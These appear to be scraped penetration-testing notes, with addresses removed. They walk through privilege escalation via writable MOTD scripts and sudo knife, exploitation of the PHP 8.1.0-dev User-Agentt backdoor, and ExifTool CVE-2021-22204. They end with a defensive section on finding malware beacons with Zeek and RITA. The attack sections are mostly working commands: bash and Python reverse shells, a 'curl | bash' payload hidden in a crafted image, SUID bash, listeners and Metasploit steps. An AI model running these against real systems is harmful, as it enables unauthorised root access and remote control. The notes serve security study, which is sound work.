MOTD – Privilege Escalation

Having permissions to modify /etc/update-motd.d/00-header allows us to inject code and execute it at the time of a user logging in, the code will be executed by the SSH service owner, most likely root


1. Check the current permissions of the user

  • id

2. Verify the folder and file permissions

  • ls -ld /etc/update-motd.d
  • ls -lR /etc/update-motd.d/

As we can see our user is part of the sysadmin group which has RWX permissions.


1. Modify the file /etc/update-motd.d/00-header, probably add a reverse shell

  • echo 'bash -c "bash -i >& /dev/tcp/ 0>&1"' >> /etc/update-motd.d/00-header

2. Start a listener in the attacker machine

  • nc -lvp 4444

3. Log again

  • ssh sysadmin@

4. Check the listener and there should be a reverse shell


Assign proper permissions to the files in /etc/update-motd.d


Knive – Privilege Escalation

knife is a command-line tool that provides an interface between a local chef-repo and the Chef Infra Server.

This program can be abused, if improper permissions are given


1. Check user sudo permissions

  • sudo -l



It can be used to break out from restricted environments by spawning an interactive system shell.

  • knife exec -E 'exec "/bin/sh"'


If the binary is allowed to run as superuser by sudo, it does not drop the elevated privileges and may be used to access the file system, escalate or maintain privileged access.

  • sudo knife exec -E 'exec "/bin/sh"'
  • whoami


Assign proper rights to users, by following general user management procedures

PHP 8.1.0-dev Backdoor Remote Code Execution (RCE)

PHP verion 8.1.0-dev was released with a backdoor on March 28th 2021, but the backdoor was quickly discovered and removed. If this version of PHP runs on a server, an attacker can execute arbitrary code by sending the User-Agentt header.

The original code was restored after the issue was discovered, but then tampered with a second time. The breach would have created a backdoor in any websites that ran the compromised version of PHP, enabling hackers to perform remote code execution on the site.


1. One of the ways to identify if a website is using PHP 8.1.0-dev, is to make a query using Curl, and print out the headers by identifying the server response

  • curl --head

2. This can also be gotten from BurpSuite, in the server response


Script 1 (PHP 8.1.0-dev - 'User-Agentt' Remote Code Execution)

1. This script automatically exploits user-agentt, and provides a shell (

  • curl -o
  • ls -l

2. Run it against the vulnerable web site

  • python3
  • whoami

Script 2 (Reverse Shell)

1. Download the script from (

2. I named the file as

  • python3 -h

3. Start a listener, in the attacker machine

  • nc -lvp 3333

4. Run the command with the following data

  • python3 3333

5. Check the listener, and there should be a connection back


Upgrade to a newer version, visit the vendor information for more info



ExifTool 12.23 – Arbitrary Code Execution – (Privilege escalation) – CVE-2021-22204

ExifTool could allow a local attacker to execute arbitrary code on the system, caused by improper neutralization of user data in the DjVu file format. By using a specially-crafted image file, an attacker could exploit this vulnerability to execute arbitrary code on the system.

Exiftool is a tool and library made in Perl that extracts metadata from almost any type of file. The vulnerability happens when Exiftool tries to parse the DjVu[4] filetype, more specifically the annotations field in the file structure.

To trigger the vulnerable function, we need to create a valid DjVu file that contains an annotation chunk with the payload that will be executed by the eval function as Perl code.

Affected version

7.44 to 12.23


1. Check the tool version

  • exiftool -ver

2. Supported extensions

  • exiftool -listf

3. Using PSPY script, I noticed a script running quite often /opt/, before that script I see cron being executed, so, I assume this is a scheduled task

  • ./pspy64

4. Reading the contents of /etc/crontab I confirm this is a scheduled task

  • less /etc/crontab

5. I tried to read the file, and I had permissions

  • ls -l /opt/
  • cat /opt/

6. Taking a look at the script, it does the following

  • inspect jpg files located in /var/www/html/subrion/uploads
  • it uses exiftool to read the file and store the EXIF data of each file in /opt/metadata

7. As we verified that exiftool is vulnerable, and it is running to a folder we can write files, we can upload a crafted JPG file so exiftool executes against it

Basic POC

1. Install the required binaries

  • sudo apt-get install -y djvulibre-bin

2. Create a file named payload, add the following code

  • vi payload
  • (metadata "\c${system('id')};")
  • cat payload

3. (OPTIONAL) Compress our payload file with to make it non human-readable

  • bzz payload payload.bzz

4. Convert our payload into .djvu file

# INFO = Anything in the format 'N,N' where N is a number

# BGjp = Expects a JPEG image, but we can use /dev/null to use nothing as background image

# ANTz = Will write the compressed annotation chunk with the input file

  • djvumake exploit.djvu INFO='1,1' BGjp=/dev/null ANTz=payload.bzz

5. Transfer this file to the victim machine and run exitftool against it, the output should show the contents of “id” command also

  • cd /tmp
  • wget
  • exiftool exploit.djvu

Note: Now we have our basic exploit for Exiftool. But a DjVu file isn’t of much use for us, because it is not accepted in most of the file uploads that we find in the wild. Our next goal is to put the malicious payload and execute it from a JPEG file.

Exploitation (Manual)

1. Knowing exiftool’s installed version and confirming it is vulnerable to CVE-2021-22204 (7.44 to 12.23), we proceed to exploit it

  • vi


python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);["/bin/sh","-i"]);'

2. Create the payload

  • vi payload
  • (metadata "\c${system ('curl | bash')};")

3. Now create a djvu file

  • djvumake exploit.djvu INFO=0,0 BGjp=/dev/null ANTa=payload

4. Proceed to change the file name to look like .jpg

  • mv exploit.djvu exploit.jpg

5. Start the listener and the web server for the file transfer

  • python3 -m http.server 8081
  • nc -lvp 4444

6. Transfer to the remote machine

  • cd /var/www/html/subrion/uploads
  • wget

Note: As we noticed before, there was a script running in the remote victim machine, it was using exiftool as a scheduled task to inspect jpg files in /var/www/html/subrion/uploads, I will upload exploit.jpg and wait for the task to execute

7. Wait for exiftool to execute the code as per the scheduled task in this case

Alternative commands

This way we get to inject the response within copyright header

  • wget -qO sample.jpg
  • file sample.jpg
  • printf 'P1 1 1 1' > input.pbm
  • cjb2 input.pbm mask.djvu
  • djvumake exploit.djvu Sjbz=mask.djvu
  • echo -e '(metadata (copyright "\\\n" . `id` #"))' > input.txt
  • djvumake exploit.djvu Sjbz=mask.djvu ANTa=input.txt
  • exiftool '-GeoTiffAsciiParams<=exploit.djvu' sample.jpg
  • perl -0777 -pe 's/\x87\xb1/\xc5\x1b/g' < sample.jpg > exploit.jpg

Exploit (Metasploit)

1. Metasploit has an automated script that creates the .jpg file with a payload

  • use exploit/unix/fileformat/exiftool_djvu_ant_perl_injection
  • show options

2. Set the payload (I’ll use default) and the LHOST. It will create a file in your home folder in this case (/home/vry4n/.msf4/local/msf.jpg)

  • set LHOST
  • exploit

3. Start a listener, set the same payload as in the previous module

  • use exploit/multi/handler
  • set payload cmd/unix/python/meterpreter/reverse_tcp

4. Set the payload IP as in the previous module, and run it

  • set LHOST
  • exploit

5. Transfer the file we created into the remote machine, and wait for the task to execute it

  • wget

Exploit (Script)

1. We can also use scripts out on the internet in this case (

  • git clone
  • cd CVE-2021-22204-exiftool

2. Edit the script, we only need to add our IP address for the reverse shell

  • vi

3. Run the script, the script will create a file named image.jpg

  • python
  • ls

4. Start a listener using the same port as in the file, in this case 9090

  • nc -lvp 9090

5. Transfer the file into the server and wait for the schedule task to act on it

  • wget

Exploit 2 (Script)

1. There is this other script that allows us to run commands (

  • git clone
  • cd POC-CVE-2021-22204

2. Run the script and define the command, a file named notevil.jpg will be created

  • perl "chmod +s /bin/bash"

3. Transfer the file into the remote server, and, wait for the schedule task to execute exiftool

  • wget
  • ls -l /bin/bash



Exploit 3 (Script)

1. There is a script in exploit-db that also abuses this vulnerability (

  • wget -O

2. Run it to see its options

  • python 50911

3. We can create a file that runs a command, the script creates a image file

  • python 50911 -c "mkdir /tmp/Vry4n_test"
  • file image.jpg

4. Transfer the file into the server and have it run

  • cd /tmp
  • wget
  • ls

5. Run exiftool against image.jpg, a folder should be created

  • exiftool image.jpg
  • ls

6. Now, let’s set up a reverse shell, start a listener in the local computer

  • nc -lvp 7777

7. Run the script as follows

  • python 50911 -s 7777

8. Now, transfer the file into the remote machine and have exiftool run

  • exiftool image.jpg

9. We can also use our own image

  • python 50911 -s <local-IP> <local-port> [-i <image.jpg>]


ExifTool has already been patched in version 12.24. exiftool-vendored, which vendors ExifTool, includes this patch in v14.3.0.



Finding beacons: ZEEK + RITA

Once, the tools have been properly installed. Start analyzing packet captures. For demonstration purposes I will use (

How to

1. Check the pcap info

  • capinfos zeus_1hr.pcap

2. Parse the pcap file using zeek

  • sudo zeek --no-checksums --readfile zeus_1hr.pcap
  • ls

Note: As a result we get a lot of log files separated by protocol

3. We can read these log files using less

  • less -Sx20 files.log

4. We can use head to grab the column name, and filter the log document using zeek-cut, lets look at conn.log

  • head conn.log | grep fields
  • cat conn.log| zeek-cut id.orig_h id.orig_p id.resp_h id.resp_p duration


id.orig_h = Source IP

id.orig_p = Source port

id.resp_h = Destination IP

id.resp_p = Destination port

duration = session duration

Find long connections

1. Knowing how to filter columns we can proceed to sort them, in order to find long connections, sort by duration

  • cat conn.log| zeek-cut id.orig_h id.orig_p id.resp_h id.resp_p duration | sort -k5rn

2. Now we can remove the “-“ connections and add the time of unique sessions using datamash (sort and datamash work with columns)

  • cat conn.log| zeek-cut id.orig_h id.orig_p id.resp_h id.resp_p duration | sort | grep -v "-" | grep -v "^$" | datamash -g 1,3 sum 5 | sort -k3rn

3. We can also search for multiple unique sessions via http protocol

  • cat http.log | zeek-cut id.orig_h id.resp_h | sort | uniq -c | sort -rn

4. We can now check the pcap file for requests going to the host that has highest

  • sudo ngrep -qI zeus_1hr.pcap "GET /" host

Note: We can search for the values in there such as the URI or domain name of the server on the internet to see if there is any association with malware in our case it shows it is part of Zeus malware

5. We can enumerate ports and services

  • cat conn.log| zeek-cut service | grep -v "-" | sort | uniq -c | sort -nr

6. We can also convert duration to time

  • cat conn.log| zeek-cut -d ts

7. We can also filter by column using awk command

  • cat conn.log| zeek-cut -d ts id.orig_h id.resp_h service | awk '{if($4 != "-" && $4 != "dns") print $1,$2,$3,$4}'

8. We can check conn.log to filter connections by source and count of sessions

  • cat conn.log| zeek-cut id.orig_h | sort | uniq -c | sort -rn

9. We can search for the top destinations

  • cat conn.log| zeek-cut id.resp_h | sort | uniq -c | sort -rn

10. Also filter by destination ports

  • cat conn.log| zeek-cut id.resp_p | sort | uniq -c | sort -rn

Note: Notice uncommon ports are visited more often than known ports such as 80, we can check for duration of the sessions and confirm the flow, in this example we noticed port 9200 has a persistent connection

  • cat conn.log | zeek-cut id.orig_h id.resp_h id.resp_p duration | sort -k4rn | head -5

Extra: We can convert that time to seconds

  • eval "echo $(date -ud "@$seconds" +'$((%s/3600/24)) days %H hours %M Minutes %S Seconds')"

Finding beacons ZEEK + RITA (files)

1. After parsing the pcap, we get a file named files.log, reading it using less we can gather the headers

  • sudo zeek --no-checksums --readfile zeus_1hr.pcap
  • less -Sx20 file.log

2. We can search by filename and its respective hash

  • cat files.log | zeek-cut -d ts filename sha1

3. Also, filter by file name to exclude “-“

  • cat files.log | zeek-cut filename | grep -iEv "(-)"

4. search by host, destination, protocol, application and filename

  • cat files.log | zeek-cut tx_hosts rx_hosts source mime_type filename

5. Filter the results, example, exclude “x509” and iv the column 6 is not equals to “-“

  • cat files.log | zeek-cut -d ts tx_hosts rx_hosts source mime_type filename | grep -v 'x509' | awk '$6!="-"'

Finding beacons ZEEK + RITA (DNS)

1. After parsing the pcap, we get a file named dns.log, reading it using less we can gather the headers

  • sudo zeek --no-checksums --readfile zeus_1hr.pcap
  • less -Sx20 dns.log

2. We can filter all the columns

  • cat dns.log| grep fields | awk '{ for (i = 1; i <= NF; i++) print $i }'

3. Convert the timestamps to human readable

  • cat dns.log | zeek-cut -d ts

4. We can filter by source, destination IPs & DNS query

  • cat dns.log | zeek-cut -d ts id.resp_h id.dest_h query

5. We can use grep to get rid of the domain local queries, or legit queries that we see, | is used as “or”

  • cat dns.log | zeek-cut -d ts id.resp_h id.dest_h query | grep -iEv '(desktop-)'
  • cat dns.log | zeek-cut -d ts id.resp_h id.dest_h query | grep -iEv '(desktop-|'

Using RITA to import logs into database

1. Import the .log files

  • sudo rita import . malware_db

2. Once, the data has been imported we can search by beacons

  • sudo rita show-beacons malware_db --human-readable

3. This can be printed in html format

  • sudo rita html-report malware_db

4. Search for an interesting IP and list the files where it appears

  • grep -iRl

5. Search within a specific log

  • grep -iR conn.log